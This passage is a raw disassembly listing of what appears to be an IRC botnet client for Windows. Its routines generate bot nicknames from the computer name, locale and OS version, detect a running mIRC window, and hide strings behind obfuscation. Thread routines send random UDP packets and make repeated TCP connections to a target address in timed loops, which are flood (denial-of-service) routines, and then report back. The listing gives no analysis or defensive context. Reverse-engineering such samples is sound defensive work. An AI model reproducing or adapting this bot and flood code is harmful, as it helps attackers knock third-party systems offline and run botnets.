loc_41D1F0 cmp eax, 5 jnz short loc_41D1CC call sub_41D5EF jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1CC: ; CODE XREF: sub_41D181+42j cmp eax, 6 jnz short loc_41D1D8 call sub_41D6A6 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1D8: ; CODE XREF: sub_41D181+4Ej cmp eax, 7 jnz short loc_41D1E4 call sub_41D7D2 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1E4: ; CODE XREF: sub_41D181+5Aj cmp eax, 8 jnz short loc_41D1F0 call sub_41D917 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1F0: ; CODE XREF: sub_41D181+3Dj ; sub_41D181+66j call sub_41D1FD loc_41D1F5: ; CODE XREF: sub_41D181+14j ; sub_41D181+20j ... mov dword_458448, eax retn 8 sub_41D181 endp ; =============== S U B R O U T I N E ======================================= sub_41D1FD proc near ; CODE XREF: sub_41D181:loc_41D1F0p push ebx push esi push edi push 10h mov ebx, offset byte_45846C push 0 push ebx mov edi, ecx call sub_429760 xor esi, esi add esp, 0Ch cmp [edi+24h], esi jl short loc_41D235 loc_41D21B: ; CODE XREF: sub_41D1FD+36j call sub_429B9C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov byte_45846C[esi], dl inc esi cmp esi, [edi+24h] jle short loc_41D21B loc_41D235: ; CODE XREF: sub_41D1FD+1Cj and byte_45846C[esi], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_41D1FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D242 proc near ; CODE XREF: sub_41D181+33p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push 10h mov esi, offset byte_45844C push ebx push esi call sub_429760 add esp, 0Ch lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax push esi call dword_456F90 ; GetComputerNameA movsx eax, byte_45844C push 41h pop ecx loc_41D277: ; CODE XREF: sub_41D242+40j cmp eax, ecx jnz short loc_41D27E xor ebx, ebx inc ebx loc_41D27E: ; CODE XREF: sub_41D242+37j inc ecx cmp ecx, 5Bh jl short loc_41D277 push 61h pop ecx loc_41D287: ; CODE XREF: sub_41D242+50j cmp eax, ecx jnz short loc_41D28E xor ebx, ebx inc ebx loc_41D28E: ; CODE XREF: sub_41D242+47j inc ecx cmp ecx, 7Bh jl short loc_41D287 test ebx, ebx jnz short loc_41D2A5 push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push esi call sub_429B03 pop ecx pop ecx loc_41D2A5: ; CODE XREF: sub_41D242+54j mov eax, esi pop esi pop ebx leave retn sub_41D242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2AB proc near ; CODE XREF: sub_41D181+27p var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push 10h mov esi, offset byte_458418 push 0 push esi mov ebx, ecx call sub_429760 add esp, 0Ch lea eax, [ebp+var_10] push 10h push eax push 7 push 800h call dword_4370F8 ; GetLocaleInfoA lea eax, [ebp+var_10] push eax push offset dword_447714 push esi call sub_429B03 push esi call sub_4293A0 add esp, 10h mov edi, eax jmp short loc_41D30C ; --------------------------------------------------------------------------- loc_41D2F7: ; CODE XREF: sub_41D2AB+64j call sub_429B9C push 0Ah cdq pop ecx idiv ecx add dl, 30h mov byte_458418[edi], dl inc edi loc_41D30C: ; CODE XREF: sub_41D2AB+4Aj cmp edi, [ebx+24h] jle short loc_41D2F7 mov eax, esi pop edi pop esi pop ebx leave retn sub_41D2AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D318 proc near ; CODE XREF: sub_41D181+Fp var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_90 = dword ptr -90h var_6 = byte ptr -6 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A0h push ebx push esi push edi push 10h mov edi, offset byte_45847C push 0 push edi mov [ebp+var_4], ecx mov esi, offset off_447718 call sub_429760 add esp, 0Ch lea eax, [ebp+var_A0] mov [ebp+var_A0], 9Ch push eax call dword_437050 ; GetVersionExA test eax, eax jz loc_41D43D push [ebp+var_98] push [ebp+var_9C] push offset aD_D ; "%d.%d" push 4 push esi call sub_429BBE add esp, 14h cmp [ebp+var_9C], 4 jnz short loc_41D3D0 cmp [ebp+var_98], 0 jnz short loc_41D3B0 cmp [ebp+var_90], 1 jnz short loc_41D399 mov esi, offset a95 ; "95" loc_41D399: ; CODE XREF: sub_41D318+7Aj cmp [ebp+var_90], 2 jnz loc_41D43D mov esi, offset aNt_0 ; "NT" jmp loc_41D43D ; --------------------------------------------------------------------------- loc_41D3B0: ; CODE XREF: sub_41D318+71j cmp [ebp+var_98], 0Ah jnz short loc_41D3C0 mov esi, offset a98 ; "98" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D3C0: ; CODE XREF: sub_41D318+9Fj cmp [ebp+var_98], 5Ah jnz short loc_41D43D mov esi, offset aMe_0 ; "ME" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D3D0: ; CODE XREF: sub_41D318+68j cmp [ebp+var_9C], 5 jnz short loc_41D409 cmp [ebp+var_98], 0 jnz short loc_41D3E9 mov esi, offset a2k ; "2K" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D3E9: ; CODE XREF: sub_41D318+C8j cmp [ebp+var_98], 1 jnz short loc_41D3F9 mov esi, offset aXp ; "XP" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D3F9: ; CODE XREF: sub_41D318+D8j cmp [ebp+var_98], 2 jnz short loc_41D43D mov esi, offset a2k3_0 ; "2K3" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D409: ; CODE XREF: sub_41D318+BFj cmp [ebp+var_9C], 6 jnz short loc_41D43D cmp [ebp+var_98], 0 jnz short loc_41D42F cmp [ebp+var_6], 1 jnz short loc_41D428 mov esi, offset aVista_0 ; "Vista" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D428: ; CODE XREF: sub_41D318+107j mov esi, offset a2k8 ; "2K8" jmp short loc_41D43D ; --------------------------------------------------------------------------- loc_41D42F: ; CODE XREF: sub_41D318+101j cmp [ebp+var_98], 1 jnz short loc_41D43D mov esi, offset a7 ; "7" loc_41D43D: ; CODE XREF: sub_41D318+3Fj ; sub_41D318+88j ... push esi push edi call sub_429B03 push edi call sub_4293A0 mov ebx, [ebp+var_4] add esp, 0Ch mov esi, eax jmp short loc_41D469 ; --------------------------------------------------------------------------- loc_41D454: ; CODE XREF: sub_41D318+154j call sub_429B9C push 0Ah cdq pop ecx idiv ecx add dl, 30h mov byte_45847C[esi], dl inc esi loc_41D469: ; CODE XREF: sub_41D318+13Aj cmp esi, [ebx+24h] jle short loc_41D454 mov eax, edi pop edi pop esi pop ebx leave retn sub_41D318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D475 proc near ; CODE XREF: sub_41D181+1Bp var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_9C = dword ptr -9Ch var_12 = byte ptr -12h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 0ACh push esi push edi push 10h mov edi, offset dword_45848C push 0 push edi mov esi, offset off_447718 call sub_429760 add esp, 0Ch lea eax, [ebp+var_10] push 10h push eax push 7 push 800h call dword_4370F8 ; GetLocaleInfoA lea eax, [ebp+var_AC] mov [ebp+var_AC], 9Ch push eax call dword_437050 ; GetVersionExA test eax, eax jz loc_41D5A9 push [ebp+var_A4] push [ebp+var_A8] push offset aD_D ; "%d.%d" push 4 push esi call sub_429BBE add esp, 14h cmp [ebp+var_A8], 4 jnz short loc_41D53C cmp [ebp+var_A4], 0 jnz short loc_41D51C cmp [ebp+var_9C], 1 jnz short loc_41D505 mov esi, offset a95 ; "95" loc_41D505: ; CODE XREF: sub_41D475+89j cmp [ebp+var_9C], 2 jnz loc_41D5A9 mov esi, offset aNt_0 ; "NT" jmp loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D51C: ; CODE XREF: sub_41D475+80j cmp [ebp+var_A4], 0Ah jnz short loc_41D52C mov esi, offset a98 ; "98" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D52C: ; CODE XREF: sub_41D475+AEj cmp [ebp+var_A4], 5Ah jnz short loc_41D5A9 mov esi, offset aMe_0 ; "ME" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D53C: ; CODE XREF: sub_41D475+77j cmp [ebp+var_A8], 5 jnz short loc_41D575 cmp [ebp+var_A4], 0 jnz short loc_41D555 mov esi, offset a2k ; "2K" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D555: ; CODE XREF: sub_41D475+D7j cmp [ebp+var_A4], 1 jnz short loc_41D565 mov esi, offset aXp ; "XP" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D565: ; CODE XREF: sub_41D475+E7j cmp [ebp+var_A4], 2 jnz short loc_41D5A9 mov esi, offset a2k3_0 ; "2K3" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D575: ; CODE XREF: sub_41D475+CEj cmp [ebp+var_A8], 6 jnz short loc_41D5A9 cmp [ebp+var_A4], 0 jnz short loc_41D59B cmp [ebp+var_12], 1 jnz short loc_41D594 mov esi, offset aVista_0 ; "Vista" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D594: ; CODE XREF: sub_41D475+116j mov esi, offset a2k8 ; "2K8" jmp short loc_41D5A9 ; --------------------------------------------------------------------------- loc_41D59B: ; CODE XREF: sub_41D475+110j cmp [ebp+var_A4], 1 jnz short loc_41D5A9 mov esi, offset a7 ; "7" loc_41D5A9: ; CODE XREF: sub_41D475+4Ej ; sub_41D475+97j ... call sub_429B9C push 0Ah cdq pop ecx idiv ecx add edx, 30h push edx call sub_429B9C push 0Ah cdq pop ecx idiv ecx add edx, 30h push edx call sub_429B9C push 0Ah cdq pop ecx idiv ecx lea eax, [ebp+var_10] add edx, 30h push edx push esi push eax push offset dword_44771C push edi call sub_429B03 add esp, 1Ch mov eax, edi pop edi pop esi leave retn sub_41D475 endp ; =============== S U B R O U T I N E ======================================= sub_41D5EF proc near ; CODE XREF: sub_41D181+44p var_12 = byte ptr -12h var_10 = byte ptr -10h sub esp, 14h push ebx push ebp push esi push edi xor ebp, ebp push 10h mov edi, offset dword_45849C push ebp push edi mov esi, ecx call sub_429760 add esp, 0Ch mov ecx, esi mov [esi+2Ch], ebp mov [esi+30h], ebp mov [esi+38h], ebp call sub_41DA15 mov ebx, eax lea eax, [esp+24h+var_10] push 10h push eax push 7 push 800h call dword_4370F8 ; GetLocaleInfoA push ebx mov ebx, dword_437090 push edi call ebx ; dword_437090 lea eax, [esp+24h+var_10] push eax push edi call ebx ; dword_437090 push offset dword_447730 push edi call ebx ; dword_437090 xor eax, eax inc eax cmp [esi+2Ch], ebp jz short loc_41D656 push 2 pop eax loc_41D656: ; CODE XREF: sub_41D5EF+62j cmp [esi+30h], ebp jz short loc_41D65C inc eax loc_41D65C: ; CODE XREF: sub_41D5EF+6Aj cmp [esi+38h], ebp jz short loc_41D662 inc eax loc_41D662: ; CODE XREF: sub_41D5EF+70j push 5 pop esi cmp eax, esi jge short loc_41D694 sub esi, eax loc_41D66B: ; CODE XREF: sub_41D5EF+A3j call sub_429B9C push 0Ah cdq pop ecx idiv ecx lea eax, [esp+24h+var_12] push edx push offset dword_44772C push eax call sub_429B03 add esp, 0Ch lea eax, [esp+24h+var_12] push eax push edi call ebx ; dword_437090 dec esi jnz short loc_41D66B loc_41D694: ; CODE XREF: sub_41D5EF+78j push offset dword_447730 push edi call ebx ; dword_437090 mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 14h retn sub_41D5EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6A6 proc near ; CODE XREF: sub_41D181+50p var_4C = byte ptr -4Ch var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 10h mov ebx, offset dword_458428 push 0 push ebx call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_41BAFF pop ecx mov [ebp+var_C], eax call sub_429B9C push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"... cdq pop ecx lea edi, [ebp+var_4C] idiv ecx push 0Fh pop ecx rep movsd movsw movsb add dl, 61h mov [ebp+var_8], dl call sub_429B9C push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_7], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_6], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_5], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_4], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_3], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_2], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_4C] mov [ebp+var_1], al call sub_429B9C cdq idiv esi mov dl, [ebp+edx+var_4C] movsx eax, dl push eax movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax cmp [ebp+var_C], 5 movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax jbe short loc_41D7BD push [ebp+var_C] push offset aDCCCCCCCCC ; "|%d|%c%c%c%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 30h jmp short loc_41D7CB ; --------------------------------------------------------------------------- loc_41D7BD: ; CODE XREF: sub_41D6A6+102j push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 2Ch loc_41D7CB: ; CODE XREF: sub_41D6A6+115j pop edi mov eax, ebx pop esi pop ebx leave retn sub_41D6A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7D2 proc near ; CODE XREF: sub_41D181+5Cp var_54 = byte ptr -54h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi push 10h mov ebx, offset dword_45845C push 0 push ebx mov [ebp+var_14], ecx call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_41BAFF pop ecx mov [ebp+var_C], eax mov ecx, [ebp+var_14] call sub_41DAC6 mov [ebp+var_10], eax call sub_429B9C push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"... cdq pop ecx lea edi, [ebp+var_54] idiv ecx push 0Fh pop ecx rep movsd movsw movsb add dl, 61h mov [ebp+var_8], dl call sub_429B9C push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_7], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_6], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_5], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_4], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_3], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_2], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_54] mov [ebp+var_1], al call sub_429B9C cdq idiv esi mov dl, [ebp+edx+var_54] movsx eax, dl push eax cmp [ebp+var_C], 5 movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax push [ebp+var_10] jbe short loc_41D8FA push [ebp+var_C] push offset aDSCCCCCCCCC ; "|%d|%s%c%c%c%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 34h jmp short loc_41D908 ; --------------------------------------------------------------------------- loc_41D8FA: ; CODE XREF: sub_41D7D2+113j push offset aSCCCCCCCCC ; "%s%c%c%c%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 30h loc_41D908: ; CODE XREF: sub_41D7D2+126j mov ecx, [ebp+var_14] call sub_41DA15 pop edi mov eax, ebx pop esi pop ebx leave retn sub_41D7D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D917 proc near ; CODE XREF: sub_41D181+68p var_48 = byte ptr -48h var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 10h mov ebx, offset dword_458438 push 0 push ebx call sub_429760 call sub_429B9C push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"... cdq pop ecx lea edi, [ebp+var_48] idiv ecx push 0Fh pop ecx rep movsd movsw movsb add dl, 61h mov [ebp+var_8], dl call sub_429B9C push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_7], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_6], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_5], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_4], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_3], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_2], al call sub_429B9C cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_48] mov [ebp+var_1], al call sub_429B9C cdq idiv esi movsx eax, [ebp+edx+var_48] push eax movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, [ebp+var_6] push eax movsx eax, [ebp+var_7] push eax movsx eax, [ebp+var_8] push eax push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c" push ebx call sub_429B03 add esp, 38h mov eax, ebx pop edi pop esi pop ebx leave retn sub_41D917 endp ; =============== S U B R O U T I N E ======================================= sub_41DA15 proc near ; CODE XREF: sub_41D5EF+27p ; sub_41D7D2+139p var_C = dword ptr -0Ch var_8 = byte ptr -8 sub esp, 0Ch push ebx push ebp push esi push edi push 10h mov esi, offset dword_4583F8 push 0 push esi mov ebx, ecx call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_41BAFF mov ebp, offset dword_447730 mov [esp+20h+var_C], eax push ebp push esi call sub_429B03 add esp, 0Ch push 0 push offset aMirc ; "mIRC" call dword_456F44 ; FindWindowA mov edi, dword_437090 test eax, eax jz short loc_41DA75 push offset aM ; "M" push esi mov dword ptr [ebx+2Ch], 1 call edi ; dword_437090 loc_41DA75: ; CODE XREF: sub_41DA15+4Fj push offset dword_457CF8 call sub_41E4C1 test eax, eax pop ecx jz short loc_41DA93 push offset aP ; "P" push esi mov dword ptr [ebx+30h], 1 call edi ; dword_437090 loc_41DA93: ; CODE XREF: sub_41DA15+6Dj push [esp+1Ch+var_C] lea eax, [esp+20h+var_8] push offset a_2d ; "%.2d" push eax call sub_429B03 mov eax, [esp+28h+var_C] add esp, 0Ch mov [ebx+28h], eax lea eax, [esp+1Ch+var_8] push eax push esi call edi ; dword_437090 push ebp push esi call edi ; dword_437090 mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_41DA15 endp ; =============== S U B R O U T I N E ======================================= sub_41DAC6 proc near ; CODE XREF: sub_41D7D2+31p push ebx push ebp push esi push edi push 10h mov esi, offset dword_458408 push 0 push esi mov edi, ecx call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_41BAFF pop ecx push 0 push offset aMirc ; "mIRC" call dword_456F44 ; FindWindowA mov ebx, dword_437090 xor ebp, ebp inc ebp test eax, eax jz short loc_41DB10 push offset aM_0 ; "M|" push esi mov [edi+2Ch], ebp call ebx ; dword_437090 loc_41DB10: ; CODE XREF: sub_41DAC6+3Dj push offset dword_457CF8 call sub_41E4C1 test eax, eax pop ecx jz short loc_41DB2A push offset aP_0 ; "P|" push esi mov [edi+30h], ebp call ebx ; dword_437090 loc_41DB2A: ; CODE XREF: sub_41DAC6+57j mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41DAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41DB31 proc near ; CODE XREF: sub_420D74+12p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_41DB3C xor eax, eax inc eax jmp short locret_41DB55 ; --------------------------------------------------------------------------- loc_41DB3C: ; CODE XREF: sub_41DB31+4j push [esp+arg_0] push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0" push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 14h locret_41DB55: ; CODE XREF: sub_41DB31+9j retn 4 sub_41DB31 endp ; =============== S U B R O U T I N E ======================================= sub_41DB58 proc near ; CODE XREF: sub_40A9FE+794p ; sub_40A9FE+231Ap ... mov eax, [ecx+8] retn sub_41DB58 endp ; =============== S U B R O U T I N E ======================================= sub_41DB5C proc near ; CODE XREF: sub_40A9FE+7B1p ; sub_40A9FE+8768p ... mov eax, [ecx+0Ch] retn sub_41DB5C endp ; =============== S U B R O U T I N E ======================================= sub_41DB60 proc near ; CODE XREF: sub_418FA1+5BDp ; sub_422009+DFp ... mov al, [ecx+4] retn sub_41DB60 endp ; =============== S U B R O U T I N E ======================================= sub_41DB64 proc near ; CODE XREF: sub_418FA1+64Bp mov al, [ecx+5] retn sub_41DB64 endp ; =============== S U B R O U T I N E ======================================= sub_41DB68 proc near ; CODE XREF: sub_40A9FE+6195p ; sub_40A9FE+9991p mov eax, [ecx] retn sub_41DB68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB6B proc near ; DATA XREF: sub_40A9FE+6FF6o var_150 = dword ptr -150h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 150h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov dword ptr [eax+12Ch], 1 mov eax, [ebp+var_150] xor esi, esi mov [ebp+var_8], eax push esi mov [ebp+arg_0], esi call sub_42A7D5 push 32h mov [ebp+var_10], eax call sub_4297B8 pop ecx cmp eax, esi pop ecx mov [ebp+var_4], eax jz loc_41DC8D push 10h lea eax, [ebp+var_20] push esi push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_C8] push eax call dword_4372C0 ; inet_addr push [ebp+var_3C] mov [ebp+var_1C], eax mov [ebp+var_20], 2 call dword_4372C4 ; ntohs mov ebx, dword_4372D8 mov [ebp+var_1E], ax loc_41DBF4: ; CODE XREF: sub_41DB6B+111j xor edi, edi cmp [ebp+var_3C], edi jnz short loc_41DC04 call sub_429B9C mov [ebp+var_1E], ax loc_41DC04: ; CODE XREF: sub_41DB6B+8Ej push 11h push 2 push 2 call dword_4372BC ; socket mov esi, eax cmp esi, edi jl short loc_41DC81 lea eax, [ebp+var_C] mov [ebp+var_C], 1 push eax push 8004667Eh push esi call dword_437290 ; ioctlsocket loc_41DC2D: ; CODE XREF: sub_41DB6B+D1j call sub_429B9C mov ecx, [ebp+var_4] mov [edi+ecx], al inc edi cmp edi, 32h jb short loc_41DC2D lea eax, [ebp+var_20] push 10h xor edi, edi push eax push edi push 32h push ecx push esi call dword_437294 ; sendto push esi call ebx ; dword_4372D8 cmp [ebp+arg_0], 32h jb short loc_41DC70 push edi call sub_42A7D5 mov edx, [ebp+var_10] pop ecx mov ecx, [ebp+var_38] add ecx, edx cmp eax, ecx jge short loc_41DC96 mov [ebp+arg_0], edi loc_41DC70: ; CODE XREF: sub_41DB6B+EDj push [ebp+var_40] inc [ebp+arg_0] call dword_437190 ; Sleep jmp loc_41DBF4 ; --------------------------------------------------------------------------- loc_41DC81: ; CODE XREF: sub_41DB6B+A9j push esi call ebx ; dword_4372D8 push [ebp+var_34] call sub_423623 pop ecx loc_41DC8D: ; CODE XREF: sub_41DB6B+4Bj pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_41DC96: ; CODE XREF: sub_41DB6B+100j cmp [ebp+var_2C], 0 mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" mov esi, offset aSSS_2 ; "%s %s -> %s" jnz short loc_41DCCD cmp [ebp+var_30], 0 jnz short loc_41DCD3 lea eax, [ebp+var_C8] push eax push ebx push edi lea eax, [ebp+var_148] push esi push eax push [ebp+var_8] call sub_41CE4A add esp, 18h loc_41DCCD: ; CODE XREF: sub_41DB6B+13Ej cmp [ebp+var_30], 0 jz short loc_41DCEF loc_41DCD3: ; CODE XREF: sub_41DB6B+144j lea eax, [ebp+var_C8] push eax push ebx push edi lea eax, [ebp+var_148] push esi push eax push [ebp+var_8] call sub_41CDD4 add esp, 18h loc_41DCEF: ; CODE XREF: sub_41DB6B+166j push [ebp+var_4] call sub_4298F2 push [ebp+var_34] call sub_423623 pop ecx pop ecx push 0 call dword_437174 ; ExitThread sub_41DB6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD09 proc near ; DATA XREF: sub_40A9FE+71DFo var_14C = dword ptr -14Ch var_144 = byte ptr -144h var_C4 = byte ptr -0C4h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ch mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd mov dword ptr [eax+12Ch], 1 mov eax, [ebp+var_14C] xor ebx, ebx mov [ebp+var_4], eax push ebx mov [ebp+arg_0], ebx call sub_42A7D5 mov [ebp+var_8], eax push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_429760 add esp, 10h lea eax, [ebp+var_C4] push eax call dword_4372C0 ; inet_addr push [ebp+var_38] mov [ebp+var_18], eax mov [ebp+var_1C], 2 call dword_4372C4 ; ntohs mov edi, dword_4372D8 mov [ebp+var_1A], ax loc_41DD7E: ; CODE XREF: sub_41DD09+E4j cmp [ebp+var_38], ebx jnz short loc_41DD8C call sub_429B9C mov [ebp+var_1A], ax loc_41DD8C: ; CODE XREF: sub_41DD09+78j push 6 push 1 push 2 call dword_4372BC ; socket mov esi, eax cmp esi, ebx jl short loc_41DDEF lea eax, [ebp+var_C] mov [ebp+var_C], 4 push eax push 8004667Eh push esi call dword_437290 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4372CC ; connect push esi call edi ; dword_4372D8 cmp [ebp+arg_0], 32h jl short loc_41DDE1 push ebx call sub_42A7D5 mov edx, [ebp+var_8] pop ecx mov ecx, [ebp+var_34] add ecx, edx cmp eax, ecx jge short loc_41DE04 mov [ebp+arg_0], ebx loc_41DDE1: ; CODE XREF: sub_41DD09+C0j push [ebp+var_3C] inc [ebp+arg_0] call dword_437190 ; Sleep jmp short loc_41DD7E ; --------------------------------------------------------------------------- loc_41DDEF: ; CODE XREF: sub_41DD09+93j push esi call edi ; dword_4372D8 push [ebp+var_30] call sub_423623 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_41DE04: ; CODE XREF: sub_41DD09+D3j cmp [ebp+var_28], 0 mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" mov esi, offset aSSS_2 ; "%s %s -> %s" jnz short loc_41DE3B cmp [ebp+var_2C], 0 jnz short loc_41DE41 lea eax, [ebp+var_C4] push eax push ebx push edi lea eax, [ebp+var_144] push esi push eax push [ebp+var_4] call sub_41CE4A add esp, 18h loc_41DE3B: ; CODE XREF: sub_41DD09+10Ej cmp 